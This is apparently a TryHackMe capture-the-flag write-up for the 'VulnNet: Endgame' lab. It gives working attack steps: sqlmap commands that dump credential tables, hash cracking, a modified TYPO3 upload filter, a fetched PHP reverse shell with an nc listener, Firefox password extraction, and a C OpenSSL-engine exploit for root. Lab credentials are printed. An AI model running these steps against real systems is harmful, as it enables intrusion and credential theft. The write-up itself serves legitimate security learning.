THM - VulnNet: Endgame

THM - VulnNet: Endgame#

NMAP

Add vulnnet.thm to /etc/hosts

• <u>Subdomain enumeration:</u>

wfuzz -v -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://vulnnet.thm -H "Host:FUZZ.vulnnet.thm" --hw 9

There is a bug when the width of the shown line is bigger than the screen. hc/hw/hh - all those don't work. Make the terminal as big as the output.

Add them to /etc/hosts:

Directory bruteforce on admin1.vulnnet.thm:

/fileadmin

/typo3 - Found the CMS

/typo3conf

• Looking at the first blog's source:

http:// api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1

You can change blog=

Check for SQLi

0r 1=1 -- works - SQLi proved

<u>SQLMap</u>

• Open burp and catch the request (with parameters ie. blog=1)

• Save the request text to a file #Or use the URL - but this way is better when POST requests are being used

• Dump databases' names

msqlmap -r request --batch --dbs

• Dump tables for database vn_admin

sqlmap -r request --batch -D vn_admin --tables

• Dump columns for table be_users

sqlmap -r request --batch -D vn_admin -T be_users --columns

• Dump username and password columns

sqlmap -r request --batch -D vn_admin -T be_users -C username,password --dump

user: chris_w

pass: $argon2i$v=19$m=65536,t=16,p=2$UnlVSEgyMUFnYnJXNXlXdg$j6z3IshmjsN+CwhciRECV2NArQwipqQMIBtYufyM4Rg

Hash is in argon2 format:

Attempted to crack it with a python script - Argon2_Cracker but it took too long and crashed

• Do the same for blog database:

sqlmap -r request --batch -D blog --tables

sqlmap -r request --batch -D blog -T users --columns

sqlmap -r request --batch -D blog -T users -C username,password,id --dump

• Or just do:

sqlmap -r request --batch --dump-all --exclude-sysdb

The output is in:

~/.local/share/sqlmap/output/api.vulnnet.thm/dump/blog/users.csv

• I used the program I made and split the csv to get the passwords column and save in pass.txt

• Crack, the hash found before, with john:

john hash_argon --wordlist=pass.txt

chris_w : vAxWtmNzeTz

• Login to the CMS with the credentials:

• We can see chris_w is an admin

• To get a shell: https://exploit-notes.hdks.org/exploit/web/cms/typo3-pentesting/

*ADMIN TOOLS -> *Settings ->Configure Installation Wide Options...

Replace the line in there with:

\.(phpsh|phtml|pht|phar|shtml|cgi)(\..*)?$|\.pl$|^\.htaccess$

Download a php reverse shell:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php

and change the IP and PORT

Upload the file:

Go to "FILE" → "Filelist" and upload the payload to the root of /fileadmin

Create a listener:

rlwrap -cAr nc -lvnp 4443

Go to:

http:// admin1.vulnnet.thm/fileadmin/shell.php

Shell:

There is a .mozilla directory

Firefox profiles can be extracted for passwords

https://github.com/unode/firefox_decrypt

• Use python3 http.server to copy the directories over to Kali

Run firefox_decrypt.py and put the directory that profiles.ini is in:

python3 firefox_decrypt.py 10.10.226.37:8083

• The problem is that the .ini file doesn't show all three profiles:

Edit the .ini file:

2fjnrwth.default-release has logins.json file which is needed

Run it again and choose 1:

Website: https://tryhackme.com

Username: 'chris_w@vulnnet.thm'

Password: '8y7TKQDpucKBYhwsb'

Since this was found in system's home folder:

su system

Enter password above

We can now use ssh instead:

ssh system@10.10.32.43

• Looking at the capabilities:

getcap -r / 2>/dev/null

The first line:

/home/system/Utils/openssl =ep

The capability =ep means the binary has all capabilities

Exploit:

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/openssl-privilege-escalation/

Steps to exploit:

• Download the c libraries (on Kali):

sudo apt install libssl-dev

• Create "exploit.c"

#include <openssl/engine.h>
#include <stdlib.h>
#include <unistd.h>

static int bind(ENGINE *e, const char *id) {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 1; // Add a return value to match expected function signature
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()

• Now compile it using gcc:

gcc -fPIC -o exploit.o -c exploit.c
gcc -shared -o exploit.so -lcrypto exploit.o

• Transfer from Kali to victim machine (with python)

chmod +x exploit.so

• Use the full path to openssl (as in getcap):

/home/system/Utils/openssl req -engine ./exploit.so

cat root.txt